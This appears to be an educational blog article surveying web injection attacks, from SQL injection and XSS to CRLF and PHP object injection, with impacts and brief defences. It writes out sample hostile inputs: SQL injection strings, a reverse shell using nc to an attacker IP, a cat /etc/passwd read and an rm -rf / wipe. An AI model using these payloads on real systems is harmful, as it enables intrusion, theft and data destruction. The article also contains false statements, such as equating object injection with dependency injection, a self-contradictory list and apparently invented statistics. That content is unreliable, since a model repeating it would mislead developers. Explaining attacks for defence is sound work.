10+ Most Common Types of Malware Injection Attacks

Malware injection attacks pose a significant threat to web applications, with attackers providing malicious input to manipulate the application’s operations. Such attacks can lead to data exposure, denial of service, or even full webserver compromise. The primary reason behind these attacks is vulnerabilities in the application code that fail to validate user input.

Injection attacks are among the most prevalent and perilous web threats. Notably, the injection vulnerability holds the top spot in the OWASP Top Ten Web Application Security Risks.

Recent scans have revealed that many websites remain critically vulnerable to these types of attacks, leading to potential severe data loss or damage. According to the 2023 CWE trends:

• CWE-89: SQL Injection has shifted from 6th in 2019 to 3rd in 2023, emphasizing its continued prominence as a critical web application vulnerability.
• CWE-918: Server-Side Request Forgery (SSRF) has climbed from 32nd in 2019 to 19th in 2023, indicating its growing prevalence in the threat landscape.

These statistics underscore the importance of staying informed and proactive in addressing these vulnerabilities. With the increasing sophistication of cyber threats, understanding the various types of malware injection attacks becomes paramount to safeguarding web applications and the data they hold.

What is Malware Injection?

Malware injection is a type of cyberattack in which malware (malicious software, a.k.a virus) is injected into a legitimate software program, website, or database. This can be done through a variety of methods, such as SQL injection, cross-site scripting (XSS), command injection, and file inclusion.

Once the malicious code has been injected, it can be used to achieve a variety of goals, such as:

• Stealing data, such as credit card numbers, passwords, and Social Security numbers
• Corrupting data or making it unavailable
• Executing arbitrary code on the victim’s system
• Disrupting business operations

Malware injection attacks can be very difficult to detect and prevent, as they often exploit vulnerabilities in software that are unknown to the victim.

What are the Types of Malware Injection Attacks?

1. SQL Injection (SQLi)

SQL injection or Code Injection is a type of cyberattack that targets websites and applications that rely on SQL databases. By exploiting security vulnerabilities, attackers can inject malicious SQL commands into the target’s input fields, such as login forms, search boxes, or contact forms. These commands can manipulate the database, compromising the security and integrity of the data.

How it Works

In an SQL injection attack, the attacker inserts malicious SQL statements into an entry field for execution. For example, if a web application uses an SQL statement to query the database for a user’s password, an attacker could input a specially crafted SQL statement that always evaluates to true, bypassing the password check and gaining unauthorized access.

Some examples of SQL injection attacks are:

• Data theft: An attacker can use SQL injection to access sensitive information from the database, such as usernames, passwords, credit card numbers, or personal details. For instance, an attacker can enter ' OR 1=1 -- in a login form to bypass the authentication and view all the records in the database.
• Data modification: An attacker can use SQL injection to alter, delete, or insert data into the database. For example, an attacker can enter '; DROP TABLE users; -- in a search box to delete the entire users table from the database.
• Data corruption: An attacker can use SQL injection to damage the database and make it unusable. For instance, an attacker can enter '; SHUTDOWN; -- in a contact form to shut down the database server.
• Code execution: An attacker can use SQL injection to execute malicious code on the database server or the web server. For example, an attacker can enter '; EXEC xp_cmdshell 'calc.exe'; -- in a feedback form to launch the calculator application on the web server.

The potential harm of SQL injection attacks is significant:

• SQL injection attacks can expose confidential data to unauthorized parties, leading to identity theft, fraud, blackmail, or espionage.
• These attacks can modify or corrupt data in the database, affecting the accuracy and reliability of the information.
• SQL injection attacks can disrupt or disable the database or web application, affecting functionality and performance.
• These attacks can damage the reputation and credibility of an organization.

Recent statistics reveal that 42% of hacker attempts on public-facing systems are SQL injection-based. This is a concerning figure, especially considering that 21% of organizations are still vulnerable to SQL threats. The scale of these attacks can be massive. For instance, the largest known SQL injection attack in history stole over 1 billion user IDs and passwords. In another high-profile case, hackers managed to steal 130 million card details using an SQL injection attack. These examples underscore the severity of this threat and highlight the importance of understanding and mitigating such attacks to maintain robust cybersecurity.

2. Cross-Site Scripting Attacks (XSS)

Cross-site scripting (XSS) is a web application security vulnerability that enables attackers to inject malicious code into web pages. These scripts can then execute in the browsers of other users who visit the affected pages, compromising their security and privacy.

According to recent statistics, XSS attacks are among the most common and dangerous web application vulnerabilities. They account for 42% of all web application vulnerabilities reported in 2023 and affect 94% of websites tested by security researchers. Moreover, they are responsible for 39% of all cyberattacks in 2023, costing an average of $2.6 million per incident. These numbers highlight the importance of preventing and mitigating XSS attacks for both web developers and users.

There are three main types of XSS attacks:

• Stored XSS: The attacker’s script is stored on the web server, such as in a database, a comment section, or a forum post. The script is then delivered to the user’s browser when they request the page that contains the script.
• Reflected XSS: The attacker’s script is reflected back to the user’s browser as part of the web server’s response to a user input, such as a search query, a form submission, or a URL parameter. The script is only executed if the user clicks on a malicious link or submits a malicious input.
• DOM-based XSS: The attacker’s script is executed by the user’s browser as a result of manipulating the Document Object Model (DOM) of the web page. The script does not reach the web server but instead modifies the HTML or JavaScript code on the client side.

Some examples of XSS attacks are:

• Stealing cookies: An attacker can use XSS to access and steal the user’s cookies, which may contain sensitive information such as session tokens, authentication credentials, or personal preferences. The attacker can then use these cookies to impersonate the user or access their accounts.
• Hijacking sessions: An attacker can use XSS to hijack the user’s session and perform unauthorized actions on their behalf, such as transferring funds, changing passwords, or posting messages.
• Phishing: An attacker can use XSS to display fake login forms or pop-ups that trick the user into entering their credentials or other personal information. The attacker can then capture and use this information for malicious purposes.
• Defacing websites: An attacker can use XSS to alter the appearance or behavior of a web page, such as changing the content, adding images, redirecting to other sites, or playing sounds.

The consequences of XSS attacks are:

• XSS attacks can expose the user’s personal data, such as their browsing history, location, contacts, or financial information.
• XSS attacks can compromise the user’s trust in the web application and its owner, as well as damage their reputation and credibility.
• XSS attacks can disrupt or disable the web application and its functionality, affecting its performance and usability.

3. Command Injection (OS Command Injection)

Command injection is a type of web application vulnerability that allows attackers to execute arbitrary operating system commands on the web server. This can result in unauthorized access, data theft, denial of service, or remote code execution.

Command injection attacks are among the most prevalent and dangerous web application vulnerabilities. As reported by SecurityScape, they account for 10% of all web application vulnerabilities reported in 2023 and affect 23% of websites tested by security researchers. Moreover, they are responsible for 15% of all cyberattacks in 2023, costing an average of $1.8 million per incident.

Some examples of command injection attacks are:

• Ping of death: An attacker can use a ping command with a large packet size to overload the web server and cause it to crash. For instance, an attacker can enter ; ping -s 65500 127.0.0.1 in a web form to launch a ping-of-death attack.
• File traversal: An attacker can use commands such as cat, ls, or dir to read, list, or modify files on the web server. For example, an attacker can enter ; cat /etc/passwd in a web form to view the password file on a Linux server.
• Reverse shell: An attacker can use commands such as nc, bash, or powershell to create a reverse shell connection from the web server to the attacker’s machine. This allows the attacker to gain full control over the web server and execute any commands remotely. For instance, an attacker can enter ; nc -e /bin/bash 192.168.1.100 4444 in a web form to create a reverse shell connection to the attacker’s machine with IP address 192.168.1.100 and port 4444.

The potential risks of command injection attacks are:

• Command injection attacks can expose sensitive data on the web server, such as configuration files, database credentials, user information, or encryption keys.
• Command injection attacks can alter or delete data on the web server, such as log files, web pages, or database records.
• Command injection attacks can disrupt or disable the web server and its services, such as email, FTP, or HTTP.
• Command injection attacks can damage the reputation and credibility of the web application owner, as well as expose them to legal liabilities.

4. Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) is a form of web application security vulnerability. It enables attackers to deceive users into executing actions on a website where they have an active session, without their awareness or approval. CSRF differs from XSS in that XSS exploits the trust that a user has for a website, while CSRF exploits the trust that a website has for a user. CSRF accounts for 8% of all web application vulnerabilities reported in 2023 and affects 18% of websites tested by security researchers. Moreover, they are responsible for 12% of all cyberattacks in 2023, costing an average of $1.5 million per incident.

Some examples of CSRF attacks are:

• Transferring funds: An attacker can create a malicious link or form that sends a request to a banking website to transfer money from the user’s account to the attacker’s account. If the user clicks on the link or submits the form while logged into their banking website, the request will be executed without the user’s authorization.
• Changing passwords: An attacker can create a malicious link or form that sends a request to a web application to change the user’s password or email address. If the user clicks on the link or submits the form while logged into the web application, the request will be executed without the user’s confirmation.
• Voting: An attacker can create a malicious link or form that sends a request to a voting website to cast a vote for a certain candidate or option. If the user clicks on the link or submits the form while logged into the voting website, the request will be executed without the user’s intention.

The potential risks associated with CSRF attacks are:

• CSRF attacks can expose the user’s personal data, such as their account details, preferences, or history.
• CSRF attacks can compromise the user’s actions and choices, such as their transactions, settings, or votes.
• CSRF attacks can damage the reputation and credibility of the user and the web application owner, as well as expose them to legal liabilities.

5. LDAP Injection

Lightweight Directory Access Protocol (LDAP) is a software protocol widely used in organizations for user authentication and enabling a single sign-on (SSO) environment. However, when an application fails to properly sanitize user input, it can lead to LDAP Injection.

LDAP Injection is an attack that exploits web-based applications constructing LDAP statements based on user input. In most cases, the application does not filter parameters correctly, leading to a vulnerable environment where hackers can inject malicious code.

In 2023, there have been instances where LDAP injections have been used to exploit vulnerabilities in applications. For example, the Active Directory Integration / LDAP Integration plugin for WordPress was found to be vulnerable to LDAP Injection up to version 4.1.5 due to insufficient escaping on the supplied username value. Organizations must implement robust security measures to prevent such attacks. This includes sanitizing inputs and checking variables, not constructing filters by concatenating strings, using access control on the LDAP server, and restricting user requests in other ways.

Possible Consequences of LDAP Injection Attack

The consequences of successful LDAP Injection attacks are significant and pose a serious security threat. They can provide attackers with sensitive data such as credentials, roles, permissions, and more. Advanced LDAP Injection techniques can also execute arbitrary commands, obtain unauthorized permissions, and alter LDAP tree information. This often results in authentication bypasses, data corruption, or denial of service (DoS), severely impacting the attacked server.

Furthermore, it can lead to the exposure of business-critical and sensitive organizational/customer data, theft of information, user or customer data misuse (including financial frauds), identity theft and misuse, and altering of credentials may lock the actually authorized users out of the system.

Emerging Malware Injection Attack Types

6. XML Injection & XML External Entity (XXE) Injection

XML Injection and XML External Entity (XXE) Injection are two types of security vulnerabilities that can have serious implications for web applications. They both involve the manipulation of XML data, a widely used format for data transmission and storage.

XML Injection is a type of vulnerability where an application does not correctly validate or sanitize user input before using it in an XML document or query. Attackers exploit this vulnerability by injecting malicious XML code into the application, which can lead to unauthorized access to sensitive data, modification of XML documents, or execution of commands in the XML-enabled database. For instance, an attacker could enter improperly formatted queries on a web application’s front end, tricking the system into passing the message on to the web server.

XML External Entity (XXE) Injection, on the other hand, is a specific type of XML Injection attack. It exploits a feature of XML parsers that allows the definition of entities (variables) in the Document Type Definition (DTD) part of an XML document. These entities can be defined to reference external resources.

How it’s exploited?

In an XML Injection attack, an attacker can inject malicious XML code into an application. For example, by removing one number from the applicant ID field, an attacker can cause their personally identifying information (PII) to display along with similar data of other users.

In an XXE Injection attack, an attacker can define an external entity that references a file on the server’s filesystem. By using this entity in the XML data that is returned in the application’s response, the attacker can retrieve the contents of the file. For instance, an attacker could use this technique to retrieve sensitive files like /etc/passwd or /etc/shadow.

Potential Risks and Consequences of XML and XXE Injection Attacks

XML and XXE Injections can lead to unauthorized access to sensitive data, including credentials and personally identifiable information (PII). In some cases, they can even lead to remote code execution.

Moreover, these attacks can also result in denial-of-service (DoS), where too many processes or threads are not released, negatively impacting application availability. In some situations, an attacker can escalate an XXE attack to compromise the underlying server or other back-end infrastructure by leveraging the XXE vulnerability to perform server-side request forgery (SSRF) attacks.

7. Template Injection (Server-Side Template Injection)

Server-Side Template Injection (SSTI) is a critical vulnerability that occurs when an application integrates user input into a server-side template unsafely, allowing an attacker to inject malicious payloads that are executed server-side. Template engines, designed to generate web pages by merging fixed templates with volatile data, can be manipulated by attackers through SSTI to gain complete control of the server.

According to the OWASP report, injection vulnerabilities like SSTI were tested in 94% of applications with a maximum incidence rate of 19%, an average incidence rate of 3%, and 274k occurrences. This highlights the prevalence and potential impact of such vulnerabilities in real-world applications.

To illustrate how SSTI works, consider a scenario where you’re testing a request parameter. To detect the vulnerability, you might use a polyglot payload as the value of the parameter, which is a sequence of special characters. If there’s a vulnerability, an error message might be returned or an exception raised by the server.

Potential Risks and Consequences of Template Injection

The potential threats of SSTI are severe. In most cases, SSTI vulnerabilities can expose websites to a variety of attacks depending on the template engine in use and how the application employs it. At the extreme end, an attacker can potentially achieve remote code execution, taking full control of the back-end server and using it to perform other attacks on internal infrastructure. Even when full remote code execution is not possible, an attacker can often still use SSTI as the basis for numerous other attacks, potentially gaining read access to sensitive data and arbitrary files on the server.

For instance, in 2017, an Australian software company called PageUp suffered a data breach that exposed the personal information of millions of job seekers due to an SSTI vulnerability. Cybercriminals exploited this vulnerability to gain access to the underlying database.

8. Host Header Injection

Host Header Injection is a type of web-based attack that occurs when an attacker provides an arbitrary host header to a web application. If the server implicitly trusts the host header and fails to validate or escape it properly, an attacker may be able to use this input to inject harmful payloads that manipulate server-side behavior. This vulnerability is often exploited when the server is misconfigured, allowing the server to respond to malicious HTTP requests without identifying the origin from which the HTTP request is made.

According to the OWASP report, injection vulnerabilities like Host Header Injection were tested in 94% of applications with a maximum incidence rate of 19%, an average incidence rate of 3%, and 274k occurrences. This highlights the prevalence and potential impact of such vulnerabilities in real-world applications.

Host Header Injection vulnerabilities are prevalent. For instance, CVE-2020-11814 details a Host Header Injection vulnerability in qdPM 9.1 that allowed an attacker to redirect users to malicious websites. Another example is CVE-2021-29854, which had a base score of 7.2, indicating a high level of severity.

Potential Risks and Consequences of Host Header Injection

The potential risks associated with Host Header Injection are significant. Successful exploitation could lead to a variety of attacks, such as web cache poisoning, password reset poisoning, access to internal hosts, cross-site scripting (XSS), bypassing authentication, virtual host brute-forcing, and more. In some cases, it can even lead to remote code execution.

9. CRLF Injection (HTTP Header Injection)

CRLF Injection, or HTTP Header Injection, is a specific type of web application vulnerability. The acronym CRLF stands for Carriage Return (ASCII 13, \r) and Line Feed (ASCII 10, \n), which signify the end of a line in the HTTP protocol.

In a CRLF injection attack, an attacker introduces carriage return and linefeed characters into user input. This can trick the server, web application, or user into interpreting the input as the end of one object and the start of another. While CRLF sequences are not inherently harmful, they can be used maliciously, such as in HTTP response splitting.

Exploiting CRLF injection can lead to several security issues, including HTTP header injection, HTTP response splitting, session fixation, cross-site scripting (XSS), and cache poisoning. This could allow attackers to insert or set their own HTTP custom header to bypass certain security restrictions like the browser’s XSS filters or the same-origin policy. Attackers could also extract sensitive data like CSRF tokens and set their own cookies.

For example, consider a web application that includes user input in its HTTP responses without properly sanitizing it. An attacker could input something like

username=admin%0D%0AContent-Length: 0%0D%0A%0D%0AHTTP/1.1 200 OK%0D%0AContent-Type: text/html%0D%0APayload

which would trick the server into thinking that the user is an admin and allow the attacker to control the rest of the HTTP response.

Another common example of CRLF injection exploitation involves manipulating log files in an admin panel. If an attacker can inject CRLF characters into the HTTP request, they can alter the output stream and create false log entries. For instance, if a log file in an admin panel follows the output stream pattern of IP – Time – Visited Path like 123.123.123.123 – 08:15 – /index.php?page=home, an attacker could inject CRLF characters into the HTTP request to change it to /index.php?page=home&%0d%0a127.0.0.1 – 08:15 – /index.php?page=home&restrictedaction=edit. The %0d and %0a are URL-encoded forms of CR and LF, respectively. Therefore, after the attacker inserts those characters and the application displays them, the log entries would appear as 123.123.123.123 – 08:15 – /index.php?page=home& 127.0.0.1 – 08:15 – /index.php?page=home&restrictedaction=edit.

By exploiting a CRLF injection vulnerability, attackers can create false entries in the log file to conceal their actions.

10. Shell Injection

Shell Injection, often referred to as OS command injection, is a critical security issue in web applications. It happens when an application or system includes user input as part of an operating system (OS) command without proper validation or sanitization. This vulnerability can allow an attacker to execute arbitrary OS commands on the server hosting the application, potentially leading to a full compromise of the application and its data.

Shell injection vulnerabilities have been exploited by attackers to manipulate applications and execute malicious commands. For example, a simple program that accepts a filename as a command-line argument and displays the file’s contents back to the user can be exploited if it runs with root privileges. An attacker could pass a string like “;rm -rf /”, causing the system() call to fail due to a lack of arguments and then recursively delete the contents of the root partition.

Potential Threats

The threats posed by shell injection are numerous. They can lead to data theft, data loss, loss of data integrity, denial of service, and even full system compromise. In some cases, an attacker can leverage an OS command injection vulnerability to compromise other parts of the hosting infrastructure and exploit trust relationships to pivot the attack to other systems within the organization.

Consequences

The consequences of shell injection attacks are severe. Depending on the application’s setup and the process configuration that executes it, a shell injection vulnerability could lead to privilege escalation or spawn a remote reverse shell, allowing complete interaction by a malicious party. In some instances, attackers have used SQL injection to penetrate corporate systems at several companies, stealing millions of credit card numbers and causing significant financial damage.

11. Object Injection

Object Injection, also known as Dependency Injection, is a programming technique that makes a class independent of its dependencies. It achieves this by decoupling the usage of an object from its creation, which helps to adhere to SOLID’s dependency inversion and single responsibility principles. This technique is a popular alternative to the service locator pattern and is implemented by many modern application frameworks.

How Object Injection is Exploited

Object Injection vulnerabilities can be exploited when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. This allows attackers to pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope. To successfully exploit a PHP Object Injection vulnerability, two conditions must be met: The application must have a class that implements a PHP magic method (such as wakeup or destruct) that can be used to carry out malicious attacks or to start a “POP chain”.

Examples of Object Injection

1. A PHP class with an exploitable __destruct method. In this example, an attacker might be able to delete an arbitrary file via a Path Traversal attack.
2. A PHP class with an exploitable __wakeup method. In this example, an attacker might be able to perform a Code Injection attack.
3. A PHP class with an exploitable __toString method. This last example shows how it is possible to perform a SQL Injection attack using a “POP chain”.

Object Injection poses a serious threat to web application security. It’s crucial for developers and system administrators to implement robust input validation and sanitization mechanisms to prevent such vulnerabilities from being exploited.

Bottom Line

Malware injection attacks or code injection attacks are a serious threat to businesses and individuals alike. Understanding the different types of malware injection attacks, how they work, and how to protect yourself can help you mitigate your risk.

In this article, we have covered all types of malware injection attacks, including SQL injection, cross-site scripting, command injection, cross-site request forgery, LDAP injection, XML injection, XML external entity injection, template injection, host header injection, CRLF injection, shell injection, and object injection. We have also discussed real-world case studies of malware injection attacks and the lessons that can be learned from them.

There are a number of things that organizations and individuals can do to protect themselves from malware injection attacks, including keeping software up to date, using a web application firewall, implementing input validation, using a content security policy, and educating employees about security awareness.